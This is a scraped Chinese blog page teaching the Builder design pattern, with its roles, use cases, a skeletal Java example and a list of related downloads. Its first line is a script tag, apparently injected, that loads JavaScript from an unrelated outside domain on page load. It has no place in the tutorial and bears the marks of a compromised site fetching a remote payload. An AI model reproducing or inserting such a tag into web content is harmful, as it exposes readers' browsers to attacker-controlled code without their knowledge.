<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>
五:建造模式
建造模式是对象的创建模式,将一个产品的内部表象与产品的生成过程分割开来,从而可以使一个建造过程生成具有不同的内部表象的对象,也可以使客户端不需要知道所生成的产品对象有哪些零件,每个产品的对应零件彼此有何不同,如何建造以及怎么组成的。有时候一个对象在其某些重要的属性没有恰当的值之前,不能使用,比如
email
;还有有时候一个对象的一些性质必须按照某个顺序赋值才有意义,在某个性质没有赋值之前而另外一个性质则无法赋值。这些情况使得性质本身的建造涉及到复杂的商业逻辑。建造模式利用一个导演者对象和具体建造者对象一个一个地建造出对象的零件从而产生完整的产品对象。建造者模式将产品的结构和产品的零件建造过程对客户端隐藏起来,将建造过程进行指挥的责任和具体建造者零件的责任分割开来,达到责任划分和封装的目的。
角色:
抽象建造者角色:定义抽象接口,以规范产品对象的各个组成成分的建造。此接口独立于应用程序的商业逻辑。
具体建造者角色:被应用程序调用逐步创建产品的实例,有连个任务:实现抽象建造者,实现完成创建产品实例的操作;在建造完成后提供产品的实例。
导演者角色:担任这个角色的类调用具体建造者角色以创建产品对象。
产品角色:产品
其中,导演者角色将客户端创建产品的请求划分为对各个零件的建造请求,再将这些请求委派给具体建造者角色。
使用环境:
(1)
需要生成的产品对象有复杂的内部结构
(2)
需要生成的产品对象的属性相互依赖。建造秘史可以强制实行一种分步骤进行的建造过程。
(3)
在对象创建过程中会使用到系统中的其他一些对象,这些对象在产品对象的创建过程中不易得到
package com.co.patterns.builder;
public class Product {
}
public abstract class Builder {
public abstract void buildPart1();
public abstract void buildPart2();
public abstract Product retrieveResult();
}
public class ConcreBuilder extends Builder {
private Product product = new Product();
@Override
public void buildPart1() {
}
@Override
public void buildPart2() {
}
@Override
public Product retrieveResult() {
return product;
}
}
public class Director {
private Builder builder;
public void build() {
builder = new ConcreBuilder();
builder.buildPart1();
builder.buildPart2();
builder.retrieveResult();
}
}
分享到:
相关推荐
建造模式 Build 生成器模式 设计模式
Java设计模式-建造者模式详解
c++设计模式-创建型模式-建造者模式-qt工程源码,c++实现
JAVA-设计模式-创建型模式-建造者模式
java设计模式------------------------------------建造者模式
java常用设计模式-建造者模式
4.设计模式-建造者模式1
设计模式-建造者模式,该模式涉及产品,构造者,指挥者、调用者等几个角色,职责明确,在实际项目中使用得比较多。
设计模式之---建造模式 1,建造模式属于对象的创建模式,是将一个产品的内部表象和产品的生产分割出来 2.使用原因:为了将构建复杂对象的过程和它的不见解耦; 3 使用情况:建造模式利用一个导演着对象和一个具体...
设计模式-建造者模式(讲解及其实现代码)
Java 设计模式-建造者模式(Builder)结合Android小知识讲解,简单明了
根据官方的设计模式,自己写的源码,有什么不对的地方还望交流
设计模式实验报告-建造者,有代码实例和运行结果
设计模式专题之(四)建造者模式---设计模式建造者模式示例代码(python--c++)
讲故事,学(Java)设计模式—建造者模式Java开发Java经验技巧共5页.pdf.zip
建造者模式-建造不同的果园 原型模式-建造同样的果园 桥接模式-果园实现统一的种植方法 原型模式-建造同样的果园 原型模式-建造同样的果园 适配器模式-果园改变种植方式 原型模式-建造同样的果园 外观模式-种植不同...
设计模式05-建造者、原型模式 设计模式06-适配器、桥接、组合模式 设计模式07-组合模式、装饰模式 设计模式09-外观模式、享元模式 设计模式10-代理模式、结构型模式大复习 设计模式11-行为模式-责任链、命令模式 ...
这个http://blog.csdn.net/dawanganban/article/details/9990405博客中java设计模式的源代码。下载前请先看《设计模式——建造者模式》一文。
设计模式之建造者模式代码示例,